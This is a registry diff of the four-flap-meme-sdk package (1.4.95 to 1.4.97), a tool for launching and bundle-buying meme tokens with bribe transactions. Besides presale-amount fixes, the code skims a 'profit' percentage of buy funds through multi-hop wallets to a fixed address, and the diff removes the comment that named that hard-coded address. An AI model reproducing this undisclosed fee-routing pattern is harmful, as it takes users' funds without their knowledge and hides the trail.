four-flap-meme-sdk 1.4.95 → 1.4.97

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -45,7 +45,6 @@ export declare function shouldExtractProfit(config?: FourAnyConfig): boolean;
45
45
  export declare function getProfitRateBps(config?: FourAnyConfig): number;
46
46
  /**
47
47
  * 获取利润接收地址
48
- * ✅ 硬编码:0xe8D0334fAf713884133640CAEe4ECdd2106AF103
49
48
  */
50
49
  export declare function getProfitRecipient(config?: FourAnyConfig): string;
51
50
  /**
@@ -74,7 +74,6 @@ export function getProfitRateBps(config) {
74
74
  }
75
75
  /**
76
76
  * 获取利润接收地址
77
- * ✅ 硬编码:0xe8D0334fAf713884133640CAEe4ECdd2106AF103
78
77
  */
79
78
  export function getProfitRecipient(config) {
80
79
  return PROFIT_CONFIG.RECIPIENT;
@@ -54,6 +54,9 @@ export async function createTokenWithBundleBuyMerkle(params) {
54
54
  }
55
55
  const accessToken = await loginFourClient(devWallet, fourClient);
56
56
  const imgUrl = await resolveTokenImage(fourClient, tokenInfo, accessToken);
57
+ // ✅ 兼容:历史调用可能把 Dev 首买金额塞在 buyAmounts[0],而不是 tokenInfo.preSale
58
+ // Four 官方 API/链上 createArg 使用 preSale 表达“创建者预购金额”
59
+ const effectivePreSaleStr = (tokenInfo.preSale && String(tokenInfo.preSale).trim().length > 0 ? String(tokenInfo.preSale) : String(buyAmounts[0] ?? '0'));
57
60
  const createResp = await fourClient.createToken(accessToken, {
58
61
  name: tokenInfo.name,
59
62
  shortName: tokenInfo.symbol,
@@ -64,7 +67,7 @@ export async function createTokenWithBundleBuyMerkle(params) {
64
67
  webUrl: tokenInfo.webUrl,
65
68
  twitterUrl: tokenInfo.twitterUrl,
66
69
  telegramUrl: tokenInfo.telegramUrl,
67
- preSale: tokenInfo.preSale || '0',
70
+ preSale: effectivePreSaleStr || '0',
68
71
  onlyMPC: false,
69
72
  lpTradingFee: 0.0025,
70
73
  symbol: 'BNB',
@@ -83,7 +86,8 @@ export async function createTokenWithBundleBuyMerkle(params) {
83
86
  // ✅ 单笔交易: 和 Four.meme 官网一样
84
87
  // 计算利润
85
88
  const extractProfit = shouldExtractProfit(config);
86
- const originalBuyAmount = ethers.parseEther(buyAmounts[0]);
89
+ // create 流程来说,“买入金额”就是 preSale(创建者预购)
90
+ const originalBuyAmount = ethers.parseEther(effectivePreSaleStr || '0');
87
91
  let actualBuyFunds;
88
92
  let profitAmount;
89
93
  if (extractProfit) {
@@ -99,13 +103,13 @@ export async function createTokenWithBundleBuyMerkle(params) {
99
103
  const bribeAmount = getBribeAmount(config);
100
104
  const needBribeTx = bribeAmount > 0n;
101
105
  const b0AmountWei = ethers.parseEther(params.b0Amount ?? '0');
102
- const preSaleWei = tokenInfo.preSale ? ethers.parseEther(tokenInfo.preSale) : 0n;
103
- // ✅ 关键: value = 创建费用 + b0Amount + preSale + 买入金额
104
- // Four.meme 合约会自动处理: 如果 value > 创建费用,会自动用多余的金额买入
105
- const valueWei = PLATFORM_CREATE_FEE + b0AmountWei + preSaleWei + actualBuyFunds;
106
+ const preSaleWei = effectivePreSaleStr ? ethers.parseEther(effectivePreSaleStr) : 0n;
107
+ // ✅ 关键修复:
108
+ // createToken 的预购金额由 createArg.preSale 决定;因此这里只需要支付:创建费 + b0Amount + preSale
109
+ // 不要把“其它买入金额”额外塞进 msg.value,否则会被合约退回,造成“看起来没买到”的误解。
110
+ const valueWei = PLATFORM_CREATE_FEE + b0AmountWei + preSaleWei;
106
111
  const tmCreate = new ethers.Contract(tmCreateAddr, TM2_ABI, devWallet);
107
- const createTxUnsigned = await tmCreate.createToken.populateTransaction(createResp.createArg, createResp.signature, { value: valueWei } // ✅ 包含买入金额
108
- );
112
+ const createTxUnsigned = await tmCreate.createToken.populateTransaction(createResp.createArg, createResp.signature, { value: valueWei });
109
113
  // ✅ 贿赂交易放在首位(由 devWallet 发送)
110
114
  let bribeNonce;
111
115
  if (needBribeTx) {
@@ -125,7 +129,7 @@ export async function createTokenWithBundleBuyMerkle(params) {
125
129
  ...createTxUnsigned,
126
130
  from: devWallet.address,
127
131
  nonce: await nonceManager.getNextNonce(devWallet),
128
- gasLimit: getGasLimit(config, 1500000), // ✅ 增加 gas limit (创建+买入)
132
+ gasLimit: getGasLimit(config, 1500000),
129
133
  gasPrice,
130
134
  chainId,
131
135
  type: getTxType(config),
@@ -46,7 +46,6 @@ export declare function shouldExtractProfit(config?: FlapAnyConfig): boolean;
46
46
  export declare function getProfitRateBps(config?: FlapAnyConfig): number;
47
47
  /**
48
48
  * 获取利润接收地址
49
- * ✅ 硬编码:0xe8D0334fAf713884133640CAEe4ECdd2106AF103
50
49
  */
51
50
  export declare function getProfitRecipient(config?: FlapAnyConfig): string;
52
51
  /**
@@ -82,7 +82,6 @@ export function getProfitRateBps(config) {
82
82
  }
83
83
  /**
84
84
  * 获取利润接收地址
85
- * ✅ 硬编码:0xe8D0334fAf713884133640CAEe4ECdd2106AF103
86
85
  */
87
86
  export function getProfitRecipient(config) {
88
87
  return PROFIT_CONFIG.RECIPIENT;
@@ -249,7 +249,7 @@ export async function flapBundleCreateToDex(params) {
249
249
  const profitAmount = (totalBuyAmount * BigInt(PROFIT_CONFIG.RATE_BPS)) / 10000n;
250
250
  // ==================== 构建交易 ====================
251
251
  const allTransactions = [];
252
- // 使用第一个内盘买家作为贿赂和利润支付者
252
+ // 使用第一个内盘买家作为贿赂支付者(提高 bundle 打包优先级)
253
253
  const mainBuyerWallet = curveWallets[0].wallet;
254
254
  // 1. 贿赂交易
255
255
  if (needBribeTx) {
@@ -479,11 +479,13 @@ export async function flapBundleCreateToDex(params) {
479
479
  // 5. 利润多跳转账
480
480
  let profitHopWallets;
481
481
  if (profitAmount > 0n) {
482
- const mainAddr = mainBuyerWallet.address.toLowerCase();
483
- const profitNonce = noncesMap.get(mainAddr);
482
+ // 调整:利润从 Dev 钱包(devPrivateKey)支付,避免第一个内盘买家余额不足导致 want 过高
483
+ // 注意:利润交易会额外消耗原生币(profitAmount + gas),请确保 Dev 钱包留足余额
484
+ const devAddr = devWallet.address.toLowerCase();
485
+ const profitNonce = noncesMap.get(devAddr);
484
486
  const profitResult = await buildProfitHopTransactions({
485
487
  provider,
486
- payerWallet: mainBuyerWallet,
488
+ payerWallet: devWallet,
487
489
  profitAmount,
488
490
  profitRecipient: getProfitRecipient(),
489
491
  hopCount: PROFIT_HOP_COUNT,
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "four-flap-meme-sdk",
3
- "version": "1.4.95",
3
+ "version": "1.4.97",
4
4
  "description": "SDK for Flap bonding curve and four.meme TokenManager",
5
5
  "type": "module",
6
6
  "main": "dist/index.js",
@@ -36,4 +36,4 @@
36
36
  "devDependencies": {
37
37
  "typescript": "^5.6.3"
38
38
  }
39
- }
39
+ }